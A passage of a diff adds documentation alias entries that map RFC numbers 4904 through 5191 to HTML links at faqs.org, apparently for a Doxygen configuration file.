+                         "RFC4904=<a href=\"http://www.faqs.org/rfcs/rfc4904.html\">RFC 4904</a>" \
+                         "RFC4905=<a href=\"http://www.faqs.org/rfcs/rfc4905.html\">RFC 4905</a>" \
+                         "RFC4906=<a href=\"http://www.faqs.org/rfcs/rfc4906.html\">RFC 4906</a>" \
+                         "RFC4907=<a href=\"http://www.faqs.org/rfcs/rfc4907.html\">RFC 4907</a>" \
+                         "RFC4908=<a href=\"http://www.faqs.org/rfcs/rfc4908.html\">RFC 4908</a>" \
+                         "RFC4909=<a href=\"http://www.faqs.org/rfcs/rfc4909.html\">RFC 4909</a>" \
+                         "RFC4910=<a href=\"http://www.faqs.org/rfcs/rfc4910.html\">RFC 4910</a>" \
+                         "RFC4911=<a href=\"http://www.faqs.org/rfcs/rfc4911.html\">RFC 4911</a>" \
+                         "RFC4912=<a href=\"http://www.faqs.org/rfcs/rfc4912.html\">RFC 4912</a>" \
+                         "RFC4913=<a href=\"http://www.faqs.org/rfcs/rfc4913.html\">RFC 4913</a>" \
+                         "RFC4914=<a href=\"http://www.faqs.org/rfcs/rfc4914.html\">RFC 4914</a>" \
+                         "RFC4915=<a href=\"http://www.faqs.org/rfcs/rfc4915.html\">RFC 4915</a>" \
+                         "RFC4916=<a href=\"http://www.faqs.org/rfcs/rfc4916.html\">RFC 4916</a>" \
+                         "RFC4917=<a href=\"http://www.faqs.org/rfcs/rfc4917.html\">RFC 4917</a>" \
+                         "RFC4918=<a href=\"http://www.faqs.org/rfcs/rfc4918.html\">RFC 4918</a>" \
+                         "RFC4919=<a href=\"http://www.faqs.org/rfcs/rfc4919.html\">RFC 4919</a>" \
+                         "RFC4920=<a href=\"http://www.faqs.org/rfcs/rfc4920.html\">RFC 4920</a>" \
+                         "RFC4921=<a href=\"http://www.faqs.org/rfcs/rfc4921.html\">RFC 4921</a>" \
+                         "RFC4922=<a href=\"http://www.faqs.org/rfcs/rfc4922.html\">RFC 4922</a>" \
+                         "RFC4923=<a href=\"http://www.faqs.org/rfcs/rfc4923.html\">RFC 4923</a>" \
+                         "RFC4924=<a href=\"http://www.faqs.org/rfcs/rfc4924.html\">RFC 4924</a>" \
+                         "RFC4925=<a href=\"http://www.faqs.org/rfcs/rfc4925.html\">RFC 4925</a>" \
+                         "RFC4926=<a href=\"http://www.faqs.org/rfcs/rfc4926.html\">RFC 4926</a>" \
+                         "RFC4927=<a href=\"http://www.faqs.org/rfcs/rfc4927.html\">RFC 4927</a>" \
+                         "RFC4928=<a href=\"http://www.faqs.org/rfcs/rfc4928.html\">RFC 4928</a>" \
+                         "RFC4929=<a href=\"http://www.faqs.org/rfcs/rfc4929.html\">RFC 4929</a>" \
+                         "RFC4930=<a href=\"http://www.faqs.org/rfcs/rfc4930.html\">RFC 4930</a>" \
+                         "RFC4931=<a href=\"http://www.faqs.org/rfcs/rfc4931.html\">RFC 4931</a>" \
+                         "RFC4932=<a href=\"http://www.faqs.org/rfcs/rfc4932.html\">RFC 4932</a>" \
+                         "RFC4933=<a href=\"http://www.faqs.org/rfcs/rfc4933.html\">RFC 4933</a>" \
+                         "RFC4934=<a href=\"http://www.faqs.org/rfcs/rfc4934.html\">RFC 4934</a>" \
+                         "RFC4935=<a href=\"http://www.faqs.org/rfcs/rfc4935.html\">RFC 4935</a>" \
+                         "RFC4936=<a href=\"http://www.faqs.org/rfcs/rfc4936.html\">RFC 4936</a>" \
+                         "RFC4937=<a href=\"http://www.faqs.org/rfcs/rfc4937.html\">RFC 4937</a>" \
+                         "RFC4938=<a href=\"http://www.faqs.org/rfcs/rfc4938.html\">RFC 4938</a>" \
+                         "RFC4939=<a href=\"http://www.faqs.org/rfcs/rfc4939.html\">RFC 4939</a>" \
+                         "RFC4940=<a href=\"http://www.faqs.org/rfcs/rfc4940.html\">RFC 4940</a>" \
+                         "RFC4941=<a href=\"http://www.faqs.org/rfcs/rfc4941.html\">RFC 4941</a>" \
+                         "RFC4942=<a href=\"http://www.faqs.org/rfcs/rfc4942.html\">RFC 4942</a>" \
+                         "RFC4943=<a href=\"http://www.faqs.org/rfcs/rfc4943.html\">RFC 4943</a>" \
+                         "RFC4944=<a href=\"http://www.faqs.org/rfcs/rfc4944.html\">RFC 4944</a>" \
+                         "RFC4945=<a href=\"http://www.faqs.org/rfcs/rfc4945.html\">RFC 4945</a>" \
+                         "RFC4946=<a href=\"http://www.faqs.org/rfcs/rfc4946.html\">RFC 4946</a>" \
+                         "RFC4947=<a href=\"http://www.faqs.org/rfcs/rfc4947.html\">RFC 4947</a>" \
+                         "RFC4948=<a href=\"http://www.faqs.org/rfcs/rfc4948.html\">RFC 4948</a>" \
+                         "RFC4949=<a href=\"http://www.faqs.org/rfcs/rfc4949.html\">RFC 4949</a>" \
+                         "RFC4950=<a href=\"http://www.faqs.org/rfcs/rfc4950.html\">RFC 4950</a>" \
+                         "RFC4951=<a href=\"http://www.faqs.org/rfcs/rfc4951.html\">RFC 4951</a>" \
+                         "RFC4952=<a href=\"http://www.faqs.org/rfcs/rfc4952.html\">RFC 4952</a>" \
+                         "RFC4953=<a href=\"http://www.faqs.org/rfcs/rfc4953.html\">RFC 4953</a>" \
+                         "RFC4954=<a href=\"http://www.faqs.org/rfcs/rfc4954.html\">RFC 4954</a>" \
+                         "RFC4955=<a href=\"http://www.faqs.org/rfcs/rfc4955.html\">RFC 4955</a>" \
+                         "RFC4956=<a href=\"http://www.faqs.org/rfcs/rfc4956.html\">RFC 4956</a>" \
+                         "RFC4957=<a href=\"http://www.faqs.org/rfcs/rfc4957.html\">RFC 4957</a>" \
+                         "RFC4958=<a href=\"http://www.faqs.org/rfcs/rfc4958.html\">RFC 4958</a>" \
+                         "RFC4959=<a href=\"http://www.faqs.org/rfcs/rfc4959.html\">RFC 4959</a>" \
+                         "RFC4960=<a href=\"http://www.faqs.org/rfcs/rfc4960.html\">RFC 4960</a>" \
+                         "RFC4961=<a href=\"http://www.faqs.org/rfcs/rfc4961.html\">RFC 4961</a>" \
+                         "RFC4962=<a href=\"http://www.faqs.org/rfcs/rfc4962.html\">RFC 4962</a>" \
+                         "RFC4963=<a href=\"http://www.faqs.org/rfcs/rfc4963.html\">RFC 4963</a>" \
+                         "RFC4964=<a href=\"http://www.faqs.org/rfcs/rfc4964.html\">RFC 4964</a>" \
+                         "RFC4965=<a href=\"http://www.faqs.org/rfcs/rfc4965.html\">RFC 4965</a>" \
+                         "RFC4966=<a href=\"http://www.faqs.org/rfcs/rfc4966.html\">RFC 4966</a>" \
+                         "RFC4967=<a href=\"http://www.faqs.org/rfcs/rfc4967.html\">RFC 4967</a>" \
+                         "RFC4968=<a href=\"http://www.faqs.org/rfcs/rfc4968.html\">RFC 4968</a>" \
+                         "RFC4969=<a href=\"http://www.faqs.org/rfcs/rfc4969.html\">RFC 4969</a>" \
+                         "RFC4970=<a href=\"http://www.faqs.org/rfcs/rfc4970.html\">RFC 4970</a>" \
+                         "RFC4971=<a href=\"http://www.faqs.org/rfcs/rfc4971.html\">RFC 4971</a>" \
+                         "RFC4972=<a href=\"http://www.faqs.org/rfcs/rfc4972.html\">RFC 4972</a>" \
+                         "RFC4973=<a href=\"http://www.faqs.org/rfcs/rfc4973.html\">RFC 4973</a>" \
+                         "RFC4974=<a href=\"http://www.faqs.org/rfcs/rfc4974.html\">RFC 4974</a>" \
+                         "RFC4975=<a href=\"http://www.faqs.org/rfcs/rfc4975.html\">RFC 4975</a>" \
+                         "RFC4976=<a href=\"http://www.faqs.org/rfcs/rfc4976.html\">RFC 4976</a>" \
+                         "RFC4977=<a href=\"http://www.faqs.org/rfcs/rfc4977.html\">RFC 4977</a>" \
+                         "RFC4978=<a href=\"http://www.faqs.org/rfcs/rfc4978.html\">RFC 4978</a>" \
+                         "RFC4979=<a href=\"http://www.faqs.org/rfcs/rfc4979.html\">RFC 4979</a>" \
+                         "RFC4980=<a href=\"http://www.faqs.org/rfcs/rfc4980.html\">RFC 4980</a>" \
+                         "RFC4981=<a href=\"http://www.faqs.org/rfcs/rfc4981.html\">RFC 4981</a>" \
+                         "RFC4982=<a href=\"http://www.faqs.org/rfcs/rfc4982.html\">RFC 4982</a>" \
+                         "RFC4983=<a href=\"http://www.faqs.org/rfcs/rfc4983.html\">RFC 4983</a>" \
+                         "RFC4984=<a href=\"http://www.faqs.org/rfcs/rfc4984.html\">RFC 4984</a>" \
+                         "RFC4985=<a href=\"http://www.faqs.org/rfcs/rfc4985.html\">RFC 4985</a>" \
+                         "RFC4986=<a href=\"http://www.faqs.org/rfcs/rfc4986.html\">RFC 4986</a>" \
+                         "RFC4987=<a href=\"http://www.faqs.org/rfcs/rfc4987.html\">RFC 4987</a>" \
+                         "RFC4988=<a href=\"http://www.faqs.org/rfcs/rfc4988.html\">RFC 4988</a>" \
+                         "RFC4989=<a href=\"http://www.faqs.org/rfcs/rfc4989.html\">RFC 4989</a>" \
+                         "RFC4990=<a href=\"http://www.faqs.org/rfcs/rfc4990.html\">RFC 4990</a>" \
+                         "RFC4991=<a href=\"http://www.faqs.org/rfcs/rfc4991.html\">RFC 4991</a>" \
+                         "RFC4992=<a href=\"http://www.faqs.org/rfcs/rfc4992.html\">RFC 4992</a>" \
+                         "RFC4993=<a href=\"http://www.faqs.org/rfcs/rfc4993.html\">RFC 4993</a>" \
+                         "RFC4994=<a href=\"http://www.faqs.org/rfcs/rfc4994.html\">RFC 4994</a>" \
+                         "RFC4995=<a href=\"http://www.faqs.org/rfcs/rfc4995.html\">RFC 4995</a>" \
+                         "RFC4996=<a href=\"http://www.faqs.org/rfcs/rfc4996.html\">RFC 4996</a>" \
+                         "RFC4997=<a href=\"http://www.faqs.org/rfcs/rfc4997.html\">RFC 4997</a>" \
+                         "RFC4998=<a href=\"http://www.faqs.org/rfcs/rfc4998.html\">RFC 4998</a>" \
+                         "RFC4999=<a href=\"http://www.faqs.org/rfcs/rfc4999.html\">RFC 4999</a>" \
+                         "RFC5000=<a href=\"http://www.faqs.org/rfcs/rfc5000.html\">RFC 5000</a>" \
+                         "RFC5001=<a href=\"http://www.faqs.org/rfcs/rfc5001.html\">RFC 5001</a>" \
+                         "RFC5002=<a href=\"http://www.faqs.org/rfcs/rfc5002.html\">RFC 5002</a>" \
+                         "RFC5003=<a href=\"http://www.faqs.org/rfcs/rfc5003.html\">RFC 5003</a>" \
+                         "RFC5004=<a href=\"http://www.faqs.org/rfcs/rfc5004.html\">RFC 5004</a>" \
+                         "RFC5005=<a href=\"http://www.faqs.org/rfcs/rfc5005.html\">RFC 5005</a>" \
+                         "RFC5006=<a href=\"http://www.faqs.org/rfcs/rfc5006.html\">RFC 5006</a>" \
+                         "RFC5007=<a href=\"http://www.faqs.org/rfcs/rfc5007.html\">RFC 5007</a>" \
+                         "RFC5008=<a href=\"http://www.faqs.org/rfcs/rfc5008.html\">RFC 5008</a>" \
+                         "RFC5009=<a href=\"http://www.faqs.org/rfcs/rfc5009.html\">RFC 5009</a>" \
+                         "RFC5010=<a href=\"http://www.faqs.org/rfcs/rfc5010.html\">RFC 5010</a>" \
+                         "RFC5011=<a href=\"http://www.faqs.org/rfcs/rfc5011.html\">RFC 5011</a>" \
+                         "RFC5012=<a href=\"http://www.faqs.org/rfcs/rfc5012.html\">RFC 5012</a>" \
+                         "RFC5013=<a href=\"http://www.faqs.org/rfcs/rfc5013.html\">RFC 5013</a>" \
+                         "RFC5014=<a href=\"http://www.faqs.org/rfcs/rfc5014.html\">RFC 5014</a>" \
+                         "RFC5015=<a href=\"http://www.faqs.org/rfcs/rfc5015.html\">RFC 5015</a>" \
+                         "RFC5016=<a href=\"http://www.faqs.org/rfcs/rfc5016.html\">RFC 5016</a>" \
+                         "RFC5017=<a href=\"http://www.faqs.org/rfcs/rfc5017.html\">RFC 5017</a>" \
+                         "RFC5018=<a href=\"http://www.faqs.org/rfcs/rfc5018.html\">RFC 5018</a>" \
+                         "RFC5019=<a href=\"http://www.faqs.org/rfcs/rfc5019.html\">RFC 5019</a>" \
+                         "RFC5020=<a href=\"http://www.faqs.org/rfcs/rfc5020.html\">RFC 5020</a>" \
+                         "RFC5021=<a href=\"http://www.faqs.org/rfcs/rfc5021.html\">RFC 5021</a>" \
+                         "RFC5022=<a href=\"http://www.faqs.org/rfcs/rfc5022.html\">RFC 5022</a>" \
+                         "RFC5023=<a href=\"http://www.faqs.org/rfcs/rfc5023.html\">RFC 5023</a>" \
+                         "RFC5024=<a href=\"http://www.faqs.org/rfcs/rfc5024.html\">RFC 5024</a>" \
+                         "RFC5025=<a href=\"http://www.faqs.org/rfcs/rfc5025.html\">RFC 5025</a>" \
+                         "RFC5026=<a href=\"http://www.faqs.org/rfcs/rfc5026.html\">RFC 5026</a>" \
+                         "RFC5027=<a href=\"http://www.faqs.org/rfcs/rfc5027.html\">RFC 5027</a>" \
+                         "RFC5028=<a href=\"http://www.faqs.org/rfcs/rfc5028.html\">RFC 5028</a>" \
+                         "RFC5029=<a href=\"http://www.faqs.org/rfcs/rfc5029.html\">RFC 5029</a>" \
+                         "RFC5030=<a href=\"http://www.faqs.org/rfcs/rfc5030.html\">RFC 5030</a>" \
+                         "RFC5031=<a href=\"http://www.faqs.org/rfcs/rfc5031.html\">RFC 5031</a>" \
+                         "RFC5032=<a href=\"http://www.faqs.org/rfcs/rfc5032.html\">RFC 5032</a>" \
+                         "RFC5033=<a href=\"http://www.faqs.org/rfcs/rfc5033.html\">RFC 5033</a>" \
+                         "RFC5034=<a href=\"http://www.faqs.org/rfcs/rfc5034.html\">RFC 5034</a>" \
+                         "RFC5035=<a href=\"http://www.faqs.org/rfcs/rfc5035.html\">RFC 5035</a>" \
+                         "RFC5036=<a href=\"http://www.faqs.org/rfcs/rfc5036.html\">RFC 5036</a>" \
+                         "RFC5037=<a href=\"http://www.faqs.org/rfcs/rfc5037.html\">RFC 5037</a>" \
+                         "RFC5038=<a href=\"http://www.faqs.org/rfcs/rfc5038.html\">RFC 5038</a>" \
+                         "RFC5039=<a href=\"http://www.faqs.org/rfcs/rfc5039.html\">RFC 5039</a>" \
+                         "RFC5040=<a href=\"http://www.faqs.org/rfcs/rfc5040.html\">RFC 5040</a>" \
+                         "RFC5041=<a href=\"http://www.faqs.org/rfcs/rfc5041.html\">RFC 5041</a>" \
+                         "RFC5042=<a href=\"http://www.faqs.org/rfcs/rfc5042.html\">RFC 5042</a>" \
+                         "RFC5043=<a href=\"http://www.faqs.org/rfcs/rfc5043.html\">RFC 5043</a>" \
+                         "RFC5044=<a href=\"http://www.faqs.org/rfcs/rfc5044.html\">RFC 5044</a>" \
+                         "RFC5045=<a href=\"http://www.faqs.org/rfcs/rfc5045.html\">RFC 5045</a>" \
+                         "RFC5046=<a href=\"http://www.faqs.org/rfcs/rfc5046.html\">RFC 5046</a>" \
+                         "RFC5047=<a href=\"http://www.faqs.org/rfcs/rfc5047.html\">RFC 5047</a>" \
+                         "RFC5048=<a href=\"http://www.faqs.org/rfcs/rfc5048.html\">RFC 5048</a>" \
+                         "RFC5049=<a href=\"http://www.faqs.org/rfcs/rfc5049.html\">RFC 5049</a>" \
+                         "RFC5050=<a href=\"http://www.faqs.org/rfcs/rfc5050.html\">RFC 5050</a>" \
+                         "RFC5051=<a href=\"http://www.faqs.org/rfcs/rfc5051.html\">RFC 5051</a>" \
+                         "RFC5052=<a href=\"http://www.faqs.org/rfcs/rfc5052.html\">RFC 5052</a>" \
+                         "RFC5053=<a href=\"http://www.faqs.org/rfcs/rfc5053.html\">RFC 5053</a>" \
+                         "RFC5054=<a href=\"http://www.faqs.org/rfcs/rfc5054.html\">RFC 5054</a>" \
+                         "RFC5055=<a href=\"http://www.faqs.org/rfcs/rfc5055.html\">RFC 5055</a>" \
+                         "RFC5056=<a href=\"http://www.faqs.org/rfcs/rfc5056.html\">RFC 5056</a>" \
+                         "RFC5057=<a href=\"http://www.faqs.org/rfcs/rfc5057.html\">RFC 5057</a>" \
+                         "RFC5058=<a href=\"http://www.faqs.org/rfcs/rfc5058.html\">RFC 5058</a>" \
+                         "RFC5059=<a href=\"http://www.faqs.org/rfcs/rfc5059.html\">RFC 5059</a>" \
+                         "RFC5060=<a href=\"http://www.faqs.org/rfcs/rfc5060.html\">RFC 5060</a>" \
+                         "RFC5061=<a href=\"http://www.faqs.org/rfcs/rfc5061.html\">RFC 5061</a>" \
+                         "RFC5062=<a href=\"http://www.faqs.org/rfcs/rfc5062.html\">RFC 5062</a>" \
+                         "RFC5063=<a href=\"http://www.faqs.org/rfcs/rfc5063.html\">RFC 5063</a>" \
+                         "RFC5064=<a href=\"http://www.faqs.org/rfcs/rfc5064.html\">RFC 5064</a>" \
+                         "RFC5065=<a href=\"http://www.faqs.org/rfcs/rfc5065.html\">RFC 5065</a>" \
+                         "RFC5066=<a href=\"http://www.faqs.org/rfcs/rfc5066.html\">RFC 5066</a>" \
+                         "RFC5067=<a href=\"http://www.faqs.org/rfcs/rfc5067.html\">RFC 5067</a>" \
+                         "RFC5068=<a href=\"http://www.faqs.org/rfcs/rfc5068.html\">RFC 5068</a>" \
+                         "RFC5069=<a href=\"http://www.faqs.org/rfcs/rfc5069.html\">RFC 5069</a>" \
+                         "RFC5070=<a href=\"http://www.faqs.org/rfcs/rfc5070.html\">RFC 5070</a>" \
+                         "RFC5071=<a href=\"http://www.faqs.org/rfcs/rfc5071.html\">RFC 5071</a>" \
+                         "RFC5072=<a href=\"http://www.faqs.org/rfcs/rfc5072.html\">RFC 5072</a>" \
+                         "RFC5073=<a href=\"http://www.faqs.org/rfcs/rfc5073.html\">RFC 5073</a>" \
+                         "RFC5074=<a href=\"http://www.faqs.org/rfcs/rfc5074.html\">RFC 5074</a>" \
+                         "RFC5075=<a href=\"http://www.faqs.org/rfcs/rfc5075.html\">RFC 5075</a>" \
+                         "RFC5076=<a href=\"http://www.faqs.org/rfcs/rfc5076.html\">RFC 5076</a>" \
+                         "RFC5077=<a href=\"http://www.faqs.org/rfcs/rfc5077.html\">RFC 5077</a>" \
+                         "RFC5078=<a href=\"http://www.faqs.org/rfcs/rfc5078.html\">RFC 5078</a>" \
+                         "RFC5079=<a href=\"http://www.faqs.org/rfcs/rfc5079.html\">RFC 5079</a>" \
+                         "RFC5080=<a href=\"http://www.faqs.org/rfcs/rfc5080.html\">RFC 5080</a>" \
+                         "RFC5081=<a href=\"http://www.faqs.org/rfcs/rfc5081.html\">RFC 5081</a>" \
+                         "RFC5082=<a href=\"http://www.faqs.org/rfcs/rfc5082.html\">RFC 5082</a>" \
+                         "RFC5083=<a href=\"http://www.faqs.org/rfcs/rfc5083.html\">RFC 5083</a>" \
+                         "RFC5084=<a href=\"http://www.faqs.org/rfcs/rfc5084.html\">RFC 5084</a>" \
+                         "RFC5085=<a href=\"http://www.faqs.org/rfcs/rfc5085.html\">RFC 5085</a>" \
+                         "RFC5086=<a href=\"http://www.faqs.org/rfcs/rfc5086.html\">RFC 5086</a>" \
+                         "RFC5087=<a href=\"http://www.faqs.org/rfcs/rfc5087.html\">RFC 5087</a>" \
+                         "RFC5088=<a href=\"http://www.faqs.org/rfcs/rfc5088.html\">RFC 5088</a>" \
+                         "RFC5089=<a href=\"http://www.faqs.org/rfcs/rfc5089.html\">RFC 5089</a>" \
+                         "RFC5090=<a href=\"http://www.faqs.org/rfcs/rfc5090.html\">RFC 5090</a>" \
+                         "RFC5091=<a href=\"http://www.faqs.org/rfcs/rfc5091.html\">RFC 5091</a>" \
+                         "RFC5092=<a href=\"http://www.faqs.org/rfcs/rfc5092.html\">RFC 5092</a>" \
+                         "RFC5093=<a href=\"http://www.faqs.org/rfcs/rfc5093.html\">RFC 5093</a>" \
+                         "RFC5094=<a href=\"http://www.faqs.org/rfcs/rfc5094.html\">RFC 5094</a>" \
+                         "RFC5095=<a href=\"http://www.faqs.org/rfcs/rfc5095.html\">RFC 5095</a>" \
+                         "RFC5096=<a href=\"http://www.faqs.org/rfcs/rfc5096.html\">RFC 5096</a>" \
+                         "RFC5097=<a href=\"http://www.faqs.org/rfcs/rfc5097.html\">RFC 5097</a>" \
+                         "RFC5098=<a href=\"http://www.faqs.org/rfcs/rfc5098.html\">RFC 5098</a>" \
+                         "RFC5099=<a href=\"http://www.faqs.org/rfcs/rfc5099.html\">RFC 5099</a>" \
+                         "RFC5100=<a href=\"http://www.faqs.org/rfcs/rfc5100.html\">RFC 5100</a>" \
+                         "RFC5101=<a href=\"http://www.faqs.org/rfcs/rfc5101.html\">RFC 5101</a>" \
+                         "RFC5102=<a href=\"http://www.faqs.org/rfcs/rfc5102.html\">RFC 5102</a>" \
+                         "RFC5103=<a href=\"http://www.faqs.org/rfcs/rfc5103.html\">RFC 5103</a>" \
+                         "RFC5104=<a href=\"http://www.faqs.org/rfcs/rfc5104.html\">RFC 5104</a>" \
+                         "RFC5105=<a href=\"http://www.faqs.org/rfcs/rfc5105.html\">RFC 5105</a>" \
+                         "RFC5106=<a href=\"http://www.faqs.org/rfcs/rfc5106.html\">RFC 5106</a>" \
+                         "RFC5107=<a href=\"http://www.faqs.org/rfcs/rfc5107.html\">RFC 5107</a>" \
+                         "RFC5108=<a href=\"http://www.faqs.org/rfcs/rfc5108.html\">RFC 5108</a>" \
+                         "RFC5109=<a href=\"http://www.faqs.org/rfcs/rfc5109.html\">RFC 5109</a>" \
+                         "RFC5110=<a href=\"http://www.faqs.org/rfcs/rfc5110.html\">RFC 5110</a>" \
+                         "RFC5111=<a href=\"http://www.faqs.org/rfcs/rfc5111.html\">RFC 5111</a>" \
+                         "RFC5112=<a href=\"http://www.faqs.org/rfcs/rfc5112.html\">RFC 5112</a>" \
+                         "RFC5113=<a href=\"http://www.faqs.org/rfcs/rfc5113.html\">RFC 5113</a>" \
+                         "RFC5114=<a href=\"http://www.faqs.org/rfcs/rfc5114.html\">RFC 5114</a>" \
+                         "RFC5115=<a href=\"http://www.faqs.org/rfcs/rfc5115.html\">RFC 5115</a>" \
+                         "RFC5116=<a href=\"http://www.faqs.org/rfcs/rfc5116.html\">RFC 5116</a>" \
+                         "RFC5117=<a href=\"http://www.faqs.org/rfcs/rfc5117.html\">RFC 5117</a>" \
+                         "RFC5118=<a href=\"http://www.faqs.org/rfcs/rfc5118.html\">RFC 5118</a>" \
+                         "RFC5119=<a href=\"http://www.faqs.org/rfcs/rfc5119.html\">RFC 5119</a>" \
+                         "RFC5120=<a href=\"http://www.faqs.org/rfcs/rfc5120.html\">RFC 5120</a>" \
+                         "RFC5121=<a href=\"http://www.faqs.org/rfcs/rfc5121.html\">RFC 5121</a>" \
+                         "RFC5122=<a href=\"http://www.faqs.org/rfcs/rfc5122.html\">RFC 5122</a>" \
+                         "RFC5123=<a href=\"http://www.faqs.org/rfcs/rfc5123.html\">RFC 5123</a>" \
+                         "RFC5124=<a href=\"http://www.faqs.org/rfcs/rfc5124.html\">RFC 5124</a>" \
+                         "RFC5125=<a href=\"http://www.faqs.org/rfcs/rfc5125.html\">RFC 5125</a>" \
+                         "RFC5126=<a href=\"http://www.faqs.org/rfcs/rfc5126.html\">RFC 5126</a>" \
+                         "RFC5127=<a href=\"http://www.faqs.org/rfcs/rfc5127.html\">RFC 5127</a>" \
+                         "RFC5128=<a href=\"http://www.faqs.org/rfcs/rfc5128.html\">RFC 5128</a>" \
+                         "RFC5129=<a href=\"http://www.faqs.org/rfcs/rfc5129.html\">RFC 5129</a>" \
+                         "RFC5130=<a href=\"http://www.faqs.org/rfcs/rfc5130.html\">RFC 5130</a>" \
+                         "RFC5131=<a href=\"http://www.faqs.org/rfcs/rfc5131.html\">RFC 5131</a>" \
+                         "RFC5132=<a href=\"http://www.faqs.org/rfcs/rfc5132.html\">RFC 5132</a>" \
+                         "RFC5133=<a href=\"http://www.faqs.org/rfcs/rfc5133.html\">RFC 5133</a>" \
+                         "RFC5134=<a href=\"http://www.faqs.org/rfcs/rfc5134.html\">RFC 5134</a>" \
+                         "RFC5135=<a href=\"http://www.faqs.org/rfcs/rfc5135.html\">RFC 5135</a>" \
+                         "RFC5136=<a href=\"http://www.faqs.org/rfcs/rfc5136.html\">RFC 5136</a>" \
+                         "RFC5137=<a href=\"http://www.faqs.org/rfcs/rfc5137.html\">RFC 5137</a>" \
+                         "RFC5138=<a href=\"http://www.faqs.org/rfcs/rfc5138.html\">RFC 5138</a>" \
+                         "RFC5139=<a href=\"http://www.faqs.org/rfcs/rfc5139.html\">RFC 5139</a>" \
+                         "RFC5140=<a href=\"http://www.faqs.org/rfcs/rfc5140.html\">RFC 5140</a>" \
+                         "RFC5141=<a href=\"http://www.faqs.org/rfcs/rfc5141.html\">RFC 5141</a>" \
+                         "RFC5142=<a href=\"http://www.faqs.org/rfcs/rfc5142.html\">RFC 5142</a>" \
+                         "RFC5143=<a href=\"http://www.faqs.org/rfcs/rfc5143.html\">RFC 5143</a>" \
+                         "RFC5144=<a href=\"http://www.faqs.org/rfcs/rfc5144.html\">RFC 5144</a>" \
+                         "RFC5145=<a href=\"http://www.faqs.org/rfcs/rfc5145.html\">RFC 5145</a>" \
+                         "RFC5146=<a href=\"http://www.faqs.org/rfcs/rfc5146.html\">RFC 5146</a>" \
+                         "RFC5147=<a href=\"http://www.faqs.org/rfcs/rfc5147.html\">RFC 5147</a>" \
+                         "RFC5148=<a href=\"http://www.faqs.org/rfcs/rfc5148.html\">RFC 5148</a>" \
+                         "RFC5149=<a href=\"http://www.faqs.org/rfcs/rfc5149.html\">RFC 5149</a>" \
+                         "RFC5150=<a href=\"http://www.faqs.org/rfcs/rfc5150.html\">RFC 5150</a>" \
+                         "RFC5151=<a href=\"http://www.faqs.org/rfcs/rfc5151.html\">RFC 5151</a>" \
+                         "RFC5152=<a href=\"http://www.faqs.org/rfcs/rfc5152.html\">RFC 5152</a>" \
+                         "RFC5153=<a href=\"http://www.faqs.org/rfcs/rfc5153.html\">RFC 5153</a>" \
+                         "RFC5154=<a href=\"http://www.faqs.org/rfcs/rfc5154.html\">RFC 5154</a>" \
+                         "RFC5155=<a href=\"http://www.faqs.org/rfcs/rfc5155.html\">RFC 5155</a>" \
+                         "RFC5156=<a href=\"http://www.faqs.org/rfcs/rfc5156.html\">RFC 5156</a>" \
+                         "RFC5157=<a href=\"http://www.faqs.org/rfcs/rfc5157.html\">RFC 5157</a>" \
+                         "RFC5158=<a href=\"http://www.faqs.org/rfcs/rfc5158.html\">RFC 5158</a>" \
+                         "RFC5159=<a href=\"http://www.faqs.org/rfcs/rfc5159.html\">RFC 5159</a>" \
+                         "RFC5160=<a href=\"http://www.faqs.org/rfcs/rfc5160.html\">RFC 5160</a>" \
+                         "RFC5161=<a href=\"http://www.faqs.org/rfcs/rfc5161.html\">RFC 5161</a>" \
+                         "RFC5162=<a href=\"http://www.faqs.org/rfcs/rfc5162.html\">RFC 5162</a>" \
+                         "RFC5163=<a href=\"http://www.faqs.org/rfcs/rfc5163.html\">RFC 5163</a>" \
+                         "RFC5164=<a href=\"http://www.faqs.org/rfcs/rfc5164.html\">RFC 5164</a>" \
+                         "RFC5165=<a href=\"http://www.faqs.org/rfcs/rfc5165.html\">RFC 5165</a>" \
+                         "RFC5166=<a href=\"http://www.faqs.org/rfcs/rfc5166.html\">RFC 5166</a>" \
+                         "RFC5167=<a href=\"http://www.faqs.org/rfcs/rfc5167.html\">RFC 5167</a>" \
+                         "RFC5168=<a href=\"http://www.faqs.org/rfcs/rfc5168.html\">RFC 5168</a>" \
+                         "RFC5169=<a href=\"http://www.faqs.org/rfcs/rfc5169.html\">RFC 5169</a>" \
+                         "RFC5170=<a href=\"http://www.faqs.org/rfcs/rfc5170.html\">RFC 5170</a>" \
+                         "RFC5171=<a href=\"http://www.faqs.org/rfcs/rfc5171.html\">RFC 5171</a>" \
+                         "RFC5172=<a href=\"http://www.faqs.org/rfcs/rfc5172.html\">RFC 5172</a>" \
+                         "RFC5173=<a href=\"http://www.faqs.org/rfcs/rfc5173.html\">RFC 5173</a>" \
+                         "RFC5174=<a href=\"http://www.faqs.org/rfcs/rfc5174.html\">RFC 5174</a>" \
+                         "RFC5175=<a href=\"http://www.faqs.org/rfcs/rfc5175.html\">RFC 5175</a>" \
+                         "RFC5176=<a href=\"http://www.faqs.org/rfcs/rfc5176.html\">RFC 5176</a>" \
+                         "RFC5177=<a href=\"http://www.faqs.org/rfcs/rfc5177.html\">RFC 5177</a>" \
+                         "RFC5178=<a href=\"http://www.faqs.org/rfcs/rfc5178.html\">RFC 5178</a>" \
+                         "RFC5179=<a href=\"http://www.faqs.org/rfcs/rfc5179.html\">RFC 5179</a>" \
+                         "RFC5180=<a href=\"http://www.faqs.org/rfcs/rfc5180.html\">RFC 5180</a>" \
+                         "RFC5181=<a href=\"http://www.faqs.org/rfcs/rfc5181.html\">RFC 5181</a>" \
+                         "RFC5182=<a href=\"http://www.faqs.org/rfcs/rfc5182.html\">RFC 5182</a>" \
+                         "RFC5183=<a href=\"http://www.faqs.org/rfcs/rfc5183.html\">RFC 5183</a>" \
+                         "RFC5184=<a href=\"http://www.faqs.org/rfcs/rfc5184.html\">RFC 5184</a>" \
+                         "RFC5185=<a href=\"http://www.faqs.org/rfcs/rfc5185.html\">RFC 5185</a>" \
+                         "RFC5186=<a href=\"http://www.faqs.org/rfcs/rfc5186.html\">RFC 5186</a>" \
+                         "RFC5187=<a href=\"http://www.faqs.org/rfcs/rfc5187.html\">RFC 5187</a>" \
+                         "RFC5188=<a href=\"http://www.faqs.org/rfcs/rfc5188.html\">RFC 5188</a>" \
+                         "RFC5189=<a href=\"http://www.faqs.org/rfcs/rfc5189.html\">RFC 5189</a>" \
+                         "RFC5190=<a href=\"http://www.faqs.org/rfcs/rfc5190.html\">RFC 5190</a>" \
+                         "RFC5191=<a href=\"http://www.faqs.org/rfcs/rfc5191.html\">RFC 5191</a>" \
